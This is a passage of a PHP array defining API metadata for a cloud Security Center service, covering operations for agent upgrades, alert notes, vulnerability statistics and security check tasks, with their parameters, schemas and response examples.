'array', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'example' => '3956048F-9D73-5EDB-834B-4827BB483977', 'type' => 'string', ], 'AssetList' => [ 'description' => 'The servers.'."\n", 'items' => [ 'description' => 'The information about the server.'."\n", 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the asset.'."\n", 'example' => '2a98f149-0256-414c-a29a-a69f8a75****', 'type' => 'string', ], 'LastUpgradeTime' => [ 'description' => 'The time when the Security Center agent was last upgraded.'."\n", 'example' => '1724522400000', 'format' => 'int64', 'type' => 'integer', ], 'CurVersion' => [ 'description' => 'The version of the Security Center agent.'."\n", 'example' => '0.0.8', 'type' => 'string', ], 'UpgradeEnable' => [ 'description' => 'Indicates whether automatic upgrade is enabled. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'example' => 'true', 'type' => 'boolean', ], 'Status' => [ 'description' => 'The publish status of the Security Center agent. Valid values:'."\n" ."\n" .'* **0**: not started.'."\n" .'* **1**: publishing.'."\n" .'* **2**: published.'."\n" .'* **3**: publish suspended.'."\n" .'* **4**: forcibly upgrading.'."\n", 'example' => '2', 'format' => 'int32', 'type' => 'integer', ], ], 'type' => 'object', ], 'type' => 'array', ], ], 'type' => 'object', 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB483977\\",\\n \\"AssetList\\": [\\n {\\n \\"Uuid\\": \\"2a98f149-0256-414c-a29a-a69f8a75****\\",\\n \\"LastUpgradeTime\\": 1724522400000,\\n \\"CurVersion\\": \\"0.0.8\\",\\n \\"UpgradeEnable\\": true,\\n \\"Status\\": 2\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListAssetInfoPublish', ], 'GetCurrentVersionPublish' => [ 'summary' => 'Queries the publish details of the Security Center agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE', ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'CurVersion' => [ 'description' => 'The version of the Security Center agent.'."\n", 'type' => 'string', 'example' => '0.0.8', ], 'UpgradeVersion' => [ 'description' => 'The destination version of the Security Center agent.'."\n", 'type' => 'string', 'example' => '0.0.9', ], 'LatestVersion' => [ 'description' => 'The latest version of the Security Center agent.'."\n", 'type' => 'string', 'example' => '0.0.9', ], 'LatestVersionCreate' => [ 'description' => 'The timestamp when the latest version of the Security Center agent was created.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1662639150000', ], 'ForceUpgradeTime' => [ 'description' => 'The timestamp when the Security Center agent was forcibly upgraded.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1732506308000', ], 'PublishStatus' => [ 'description' => 'The publish status of the Security Center agent. Valid values:'."\n" ."\n" .'* **0**: not started.'."\n" .'* **1**: publishing.'."\n" .'* **2**: published.'."\n" .'* **3**: publish suspended.'."\n" .'* **4**: forcibly upgrading.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'GraySwitchStatus' => [ 'description' => 'Indicates whether the canary release policy is enabled. Valid values:'."\n" ."\n" .'* **1**: yes.'."\n" .'* .**0**: no.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'BigCustomer' => [ 'description' => 'Indicates whether you can enable custom upgrade for the Security Center agent. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'LatestVersionDesc' => [ 'description' => 'The description of about the latest version.', 'type' => 'string', 'example' => 'test', ], 'AutoUpgrade' => [ 'description' => 'Indicates whether automatic upgrade is enabled. Valid values:'."\n" ."\n" .'* **1**: yes.'."\n" .'* **0**: no.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE\\",\\n \\"Data\\": {\\n \\"CurVersion\\": \\"0.0.8\\",\\n \\"UpgradeVersion\\": \\"0.0.9\\",\\n \\"LatestVersion\\": \\"0.0.9\\",\\n \\"LatestVersionCreate\\": 1662639150000,\\n \\"ForceUpgradeTime\\": 1732506308000,\\n \\"PublishStatus\\": 1,\\n \\"GraySwitchStatus\\": 1,\\n \\"BigCustomer\\": true,\\n \\"LatestVersionDesc\\": \\"test\\",\\n \\"AutoUpgrade\\": 1\\n }\\n}","type":"json"}]', 'title' => 'GetCurrentVersionPublish', ], 'BatchCreateMaliciousNote' => [ 'summary' => 'Adds alert description in batches.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '185664', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ImageMaliciousFileList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The batches.'."\n", 'items' => [ 'properties' => [ 'EventId' => [ 'description' => 'The ID of the alert.'."\n" ."\n" .'> You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to query the alert IDs.'."\n", 'example' => '1', 'format' => 'int64', 'required' => false, 'title' => '告警ID', 'type' => 'integer', ], 'Note' => [ 'description' => 'The description.'."\n", 'example' => 'Malware sample', 'required' => false, 'title' => '备注', 'type' => 'string', ], ], 'required' => false, 'type' => 'object', 'description' => '', ], 'maxItems' => 100, 'required' => false, 'type' => 'array', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'PlainResult'."\n", 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the call is successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'example' => 'true', 'type' => 'boolean', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'example' => '200', 'type' => 'string', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'example' => 'successful', 'type' => 'string', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', 'type' => 'string', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'example' => '200', 'format' => 'int32', 'type' => 'integer', ], ], 'title' => 'PlainResult', 'type' => 'object', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'BatchCreateMaliciousNote', ], 'DescribeInstanceVulStatistics' => [ 'summary' => 'Queries the statistics of vulnerabilities that are detected on a cluster.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '194674', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the instance to query.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUID of the instance.'."\n", 'type' => 'string', 'required' => true, 'example' => '5b268326-273e-44fc-a0e3-9482435c****', ], ], [ 'name' => 'Types', 'in' => 'query', 'schema' => [ 'description' => 'The vulnerability type of the serverless instance. Valid values:'."\n" ."\n" .'* **sca**: middleware vulnerabilities'."\n" .'* **app**: application vulnerabilities detected by using a scanner'."\n" ."\n" .'> Serverless instances allow you to detect only application vulnerabilities by using a scanner.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sca,app', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', ], 'VulStat' => [ 'description' => 'The statistics of the vulnerabilities.'."\n", 'type' => 'object', 'properties' => [ 'AsapCount' => [ 'description' => 'The number of high-risk vulnerabilities.'."\n", 'type' => 'string', 'example' => '0', ], 'LaterCount' => [ 'description' => 'The number of medium-risk vulnerabilities.'."\n", 'type' => 'string', 'example' => '0', ], 'NntfCount' => [ 'description' => 'The number of low-risk vulnerabilities.'."\n", 'type' => 'string', 'example' => '0', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\",\\n \\"VulStat\\": {\\n \\"AsapCount\\": \\"0\\",\\n \\"LaterCount\\": \\"0\\",\\n \\"NntfCount\\": \\"0\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeInstanceVulStatistics', ], 'SetImageBuildRiskStatus' => [ 'summary' => 'Specifies the status of an image build command risk.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'RiskKey', 'in' => 'query', 'schema' => [ 'description' => 'The keyword of the image build command risk.'."\n", 'example' => 'risk.type', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'ImageUuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of images. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeImageInstances](~~DescribeImageInstances~~) operation to query the UUIDs of images.'."\n", 'example' => 'f382fccd88b94c5c8c864def681*****,ac32fccd88b94c5c8c864def681*****', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the image build command risk. Valid values:'."\n" ."\n" .'* **0**: unhandled.'."\n" .'* **1**: ignored.'."\n" .'* **2**: false positive.'."\n", 'example' => '0', 'format' => 'int32', 'required' => false, 'type' => 'integer', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'PlainResult'."\n", 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'properties' => [ 'Id' => [ 'description' => 'The ID of the rule.'."\n", 'example' => '273698***', 'format' => 'int64', 'type' => 'integer', ], ], 'type' => 'object', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'example' => 'true', 'type' => 'boolean', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'example' => '200', 'type' => 'string', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'example' => 'successful', 'type' => 'string', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', 'type' => 'string', ], ], 'title' => 'PlainResult', 'type' => 'object', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 0\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\"\\n}","type":"json"}]', 'title' => 'SetImageBuildRiskStatus', ], 'SubmitTenantCheck' => [ 'summary' => 'Submits a free quick scan task, which includes vulnerability detection in the free category and free check items of Cloud Security Posture Management (CSPM).', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '236185', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', 'FEATUREsas8WIQPJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1162D670-E633-5676-AE87-8359B066****', ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'TaskId' => [ 'description' => 'The ID of the scan task.'."\n", 'type' => 'string', 'example' => 'fc98d58eb56f699d49bf7ebbd6d7****', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1162D670-E633-5676-AE87-8359B066****\\",\\n \\"Data\\": {\\n \\"TaskId\\": \\"fc98d58eb56f699d49bf7ebbd6d7****\\"\\n }\\n}","type":"json"}]', 'title' => 'SubmitTenantCheck', ], 'GetTenantCheckAvailable' => [ 'summary' => 'Checks whether you can submit a free quick scan task, which includes vulnerability detection in the free category and free check items of Cloud Security Posture Management (CSPM).', 'methods' => [ 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '236190', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '69BFFCDE-37D6-5A49-A8BC-BB03AC83****', ], 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the quick scan task. Enumerated values:'."\n" ."\n" .'* 0: You can submit a quick scan task.'."\n" .'* 1: The current task is not complete. You cannot submit a quick scan task.'."\n" .'* 2: The free quota for this week is exhausted. You must wait for the next free scan period.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'NextScanTime' => [ 'description' => 'The timestamp when you can submit a quick scan task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1725530005357', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"69BFFCDE-37D6-5A49-A8BC-BB03AC83****\\",\\n \\"Data\\": {\\n \\"Status\\": 0,\\n \\"NextScanTime\\": 1725530005357\\n }\\n}","type":"json"}]', 'title' => 'GetTenantCheckAvailable', ], 'ListOperationProcessDetail' => [ 'summary' => 'Query operation task sub-task list.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'abilityTreeCode' => '248213', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'TaskIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of operation tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the operation task.'."\n", 'type' => 'string', 'required' => false, 'example' => 'a68478b8-811e-47ec-ab0c-3e5b077ca***', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'StatusCodes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The subtask status codes.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The subtask status code. Valid values:'."\n" ."\n" .'* 0: not started.'."\n" .'* 1: running.'."\n" .'* 2: successful.'."\n" .'* 3: times out.'."\n" .'* 4: failed.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The beginning of the time range to query. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1731469330000', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end of the time range to query. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1731555850000', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListOperationProcessDetailResponse', 'description' => 'ListOperationProcessDetailResponse'."\n", 'type' => 'object', 'properties' => [ 'ProcessDetails' => [ 'description' => 'The information about the operation subtasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the operation subtask.'."\n", 'type' => 'object', 'properties' => [ 'AssetVendor' => [ 'title' => '资产供应商', 'description' => 'The vendor of the asset associated with the operation subtask.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AssetType' => [ 'title' => '资产类型', 'description' => 'The type of the asset associated with the operation subtask.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '8', ], 'AssetSubType' => [ 'title' => '资产子类型', 'description' => 'The subtype of the asset associated with the operation subtask.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Checks' => [ 'title' => '关联检查项列表', 'description' => 'The check items associated with the operation subtask.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The check item associated with the operation subtask.'."\n", 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => 'The ID of the check item associated with the operation subtask.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '133', ], 'CheckShowName' => [ 'description' => 'The name of the check item associated with the operation subtask.'."\n", 'type' => 'string', 'example' => 'Check for Security Center Agent Status', ], ], ], ], 'StatusCode' => [ 'description' => 'The subtask status code. Enumerated values:'."\n" ."\n" .'* 0: not started.'."\n" .'* 1: running.'."\n" .'* 2: successful.'."\n" .'* 3: times out.'."\n" .'* 4: failed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'TaskId' => [ 'description' => 'The ID of the operation subtask.'."\n", 'type' => 'string', 'example' => 'v34578b8-e567-47ec-2345-3e5b077ca***'."\n", ], 'StartTime' => [ 'description' => 'The start timestamp of the operation subtask. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1730335622000', ], 'EndTime' => [ 'description' => 'The end timestamp of the operation subtask. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1706544199000', ], 'DetailTaskId' => [ 'description' => 'The ID of the operation subtask.'."\n", 'type' => 'string', 'example' => 'fb4bcd41-a916-46bc-ab1a-65fd383be***', ], 'CreateTime' => [ 'description' => 'The timestamp when the task was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1706544199000', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '19', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3***', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'CspmParamIllegal', 'errorMessage' => 'The parameter is not legal. %s.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ProcessDetails\\": [\\n {\\n \\"AssetVendor\\": 0,\\n \\"AssetType\\": 8,\\n \\"AssetSubType\\": 1,\\n \\"Checks\\": [\\n {\\n \\"CheckId\\": 133,\\n \\"CheckShowName\\": \\"Check for Security Center Agent Status\\"\\n }\\n ],\\n \\"StatusCode\\": 0,\\n \\"TaskId\\": \\"v34578b8-e567-47ec-2345-3e5b077ca***\\\\n\\",\\n \\"StartTime\\": 1730335622000,\\n \\"EndTime\\": 1706544199000,\\n \\"DetailTaskId\\": \\"fb4bcd41-a916-46bc-ab1a-65fd383be***\\",\\n \\"CreateTime\\": 1706544199000\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 19,\\n \\"Count\\": 10\\n },\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3***\\"\\n}","type":"json"}]', 'title' => 'Query operation task subtasks list', 'description' => 'You can query only operation subtasks.'."\n", 'translator' => 'machine', ], 'ListOperationProcess' => [ 'summary' => 'Queries a list of operation tasks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '248180', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'TaskTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The task types. Valid values:'."\n" ."\n" .'* CHECK_ALL: full check.'."\n" .'* CHECK_POLICY: policy-based check for which check items are configured.'."\n" .'* CHECK_SCHEDULE: scheduled check.'."\n" .'* CHECK_ITEM: specific check item-based check.'."\n" .'* CHECK_INSTANCE: specific check item-based check on specific instances.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The task type.'."\n", 'type' => 'string', 'required' => false, 'example' => 'CHECK_POLICY', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'StatusCodes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The task status codes.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The task status code. Valid values:'."\n" ."\n" .'* 0: not started.'."\n" .'* 1: running.'."\n" .'* 2: complete.'."\n" .'* 3: times out.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The beginning of the time range to query. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1680919232000', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end of the time range to query. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1635575219000', ], ], [ 'name' => 'TaskIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The task IDs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The task ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '3d7a1b68-599f-4e16-9b45-e920a183b***', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'TaskSources', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of task sources.', 'type' => 'array', 'items' => [ 'description' => 'Task source. Values: '."\n" .'- **YAO_CHI**: Yaochi.', 'type' => 'string', 'required' => false, 'example' => 'YAO_CHI', ], 'required' => false, 'maxItems' => 10, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListOperationProcessResponse', 'description' => 'ListOperationProcessResponse'."\n", 'type' => 'object', 'properties' => [ 'Processes' => [ 'description' => 'The information about the operation tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the operation task.'."\n", 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '337', ], 'FinishCount' => [ 'description' => 'The number of tasks that are complete.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '197', ], 'TaskId' => [ 'description' => 'The ID of the operation task.'."\n", 'type' => 'string', 'example' => '3d7a1b68-599f-4e16-9b45-e920a183b***'."\n", ], 'StatusCode' => [ 'description' => 'The task status code. Valid values:'."\n" ."\n" .'* 0: not started.'."\n" .'* 1: running.'."\n" .'* 2: complete.'."\n" .'* 3: times out.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TaskType' => [ 'description' => 'The task type. Valid values:'."\n" ."\n" .'* CHECK_ALL: full check.'."\n" .'* CHECK_POLICY: policy-based check for which check items are configured.'."\n" .'* CHECK_SCHEDULE: scheduled check.'."\n" .'* CHECK_ITEM: specific check item-based check.'."\n" .'* CHECK_INSTANCE: specific check item-based check on specific instances.'."\n", 'type' => 'string', 'example' => 'CHECK_POLICY', ], 'StartTime' => [ 'description' => 'The start time of the task. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1705457102000', ], 'EndTime' => [ 'description' => 'The end time of the task. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1705467559000', ], 'CreateTime' => [ 'description' => 'The time when the task was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1674388824000', ], 'TaskSource' => [ 'description' => 'Task source. Values: '."\n" .'- **YAO_CHI**: YaoChi.', 'type' => 'string', 'example' => 'YAO_CHI', ], 'DetailTaskTotalCount' => [ 'description' => 'Total number of subtasks.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'DetailTaskReadyCount' => [ 'description' => 'Number of completed subtasks', 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '263', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], ], ], ], ], 'errorCodes' => [ 400 => [ 